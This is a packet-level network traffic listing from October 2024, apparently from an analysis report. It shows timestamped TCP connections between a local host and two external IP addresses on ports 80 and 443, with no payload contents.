Oct 28, 2024 02:07:46.985142946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985153913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985178947 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985204935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985224962 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985236883 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985246897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985264063 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985280037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985296965 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985301018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985312939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985340118 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985348940 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985357046 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985368013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985407114 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985424042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985435009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985445976 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985461950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:46.985462904 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985493898 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.985516071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:46.986876011 CET	49994	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.986908913 CET	443	49994	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.987005949 CET	49994	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.987139940 CET	49988	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.987139940 CET	49988	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.987152100 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.987159967 CET	443	49988	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.987817049 CET	49994	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.987824917 CET	443	49994	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.989326954 CET	49991	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.989341021 CET	443	49991	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.989409924 CET	49991	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.989417076 CET	443	49991	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.991534948 CET	443	49990	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.991561890 CET	443	49990	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.991600990 CET	443	49990	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.991606951 CET	49990	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.991641998 CET	49990	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.992412090 CET	49990	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.992417097 CET	443	49990	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.992424965 CET	49990	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.992429972 CET	443	49990	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.994760036 CET	49995	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.994790077 CET	443	49995	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.994865894 CET	49995	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.996011019 CET	49996	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.996036053 CET	443	49996	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.996155977 CET	49996	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.996793032 CET	49995	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.996808052 CET	443	49995	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.997379065 CET	49997	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.997416019 CET	443	49997	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.997464895 CET	49997	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.997560024 CET	49997	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.997575045 CET	443	49997	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:46.997935057 CET	49996	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:46.997946978 CET	443	49996	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.010721922 CET	443	49992	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.010766983 CET	443	49992	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.010812998 CET	443	49992	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.010850906 CET	49992	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.011023998 CET	49992	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.011032104 CET	443	49992	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.011087894 CET	49992	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.011102915 CET	443	49992	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.014724970 CET	49998	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.014738083 CET	443	49998	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.014801025 CET	49998	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.015183926 CET	49998	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:47.015193939 CET	443	49998	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:47.026391029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026436090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026439905 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026447058 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026478052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026485920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026489019 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026499987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026518106 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026529074 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026530027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026547909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026559114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026576996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026583910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026608944 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026619911 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026633024 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026634932 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026668072 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026679993 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026686907 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026716948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026727915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026757002 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026779890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026886940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026928902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.026973963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026984930 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.026995897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027019978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027020931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027039051 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027043104 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027055025 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027067900 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027075052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027093887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027115107 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027138948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027163982 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027174950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027175903 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027203083 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027229071 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027282000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027299881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027317047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027328014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027338982 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027339935 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027349949 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027365923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027376890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027390003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027396917 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027405977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027410984 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027420044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027431965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027436972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027446985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027458906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027465105 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027477026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027483940 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027487993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027498007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027498007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027513027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027530909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027532101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027544975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027556896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027570009 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027590036 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027621984 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027630091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027642965 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027653933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027668953 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027683020 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027693987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027709007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027719021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027733088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027746916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027755976 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027787924 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027827024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027837992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027848959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027861118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027872086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027874947 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027896881 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027918100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027920961 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027951002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027957916 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.027976036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027987957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.027995110 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028014898 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028023958 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028043985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028055906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028065920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028084040 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028090000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028110027 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028137922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028158903 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028171062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028202057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028213024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028218031 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028234005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028242111 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028244972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028261900 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028268099 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028276920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028285980 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028286934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028314114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028325081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028330088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028330088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028333902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028359890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028383017 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028429031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028439999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028451920 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028470993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028486013 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028496981 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028500080 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028507948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028520107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028527975 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028531075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028542995 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028570890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028587103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028605938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028616905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028630018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028654099 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028661013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028673887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028686047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028697014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028712988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028728962 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028736115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028739929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028774977 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028781891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028816938 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.028841972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.028909922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.119599104 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.124970913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.400974035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401014090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401025057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401036024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401046991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401055098 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401087999 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401092052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401122093 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401139021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401150942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401169062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401170969 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401180983 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401192904 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401199102 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401236057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401236057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401282072 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401293039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401304007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401357889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401357889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401391029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401402950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401422024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401433945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401446104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401449919 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401457071 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401468039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401479006 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401498079 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401499987 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401510954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401529074 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401552916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401562929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401572943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401582956 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401586056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401604891 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401613951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401617050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401633978 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401657104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401667118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401668072 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401668072 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401690006 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401701927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401726007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401726007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401767969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401782990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401796103 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401825905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401838064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401861906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401865005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401873112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401886940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401900053 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401902914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401912928 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401915073 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401935101 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.401958942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401969910 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401977062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.401993990 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402023077 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402023077 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402048111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402059078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402070999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402080059 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402097940 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402184963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402196884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402209044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402214050 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402220011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402247906 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402252913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402262926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402273893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402282000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402286053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402306080 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402358055 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402627945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402770996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402823925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402842045 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402861118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402873039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402874947 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:47.402884960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:47.402895927 CET	80	49967	185.215.113.206	192.168.2.6
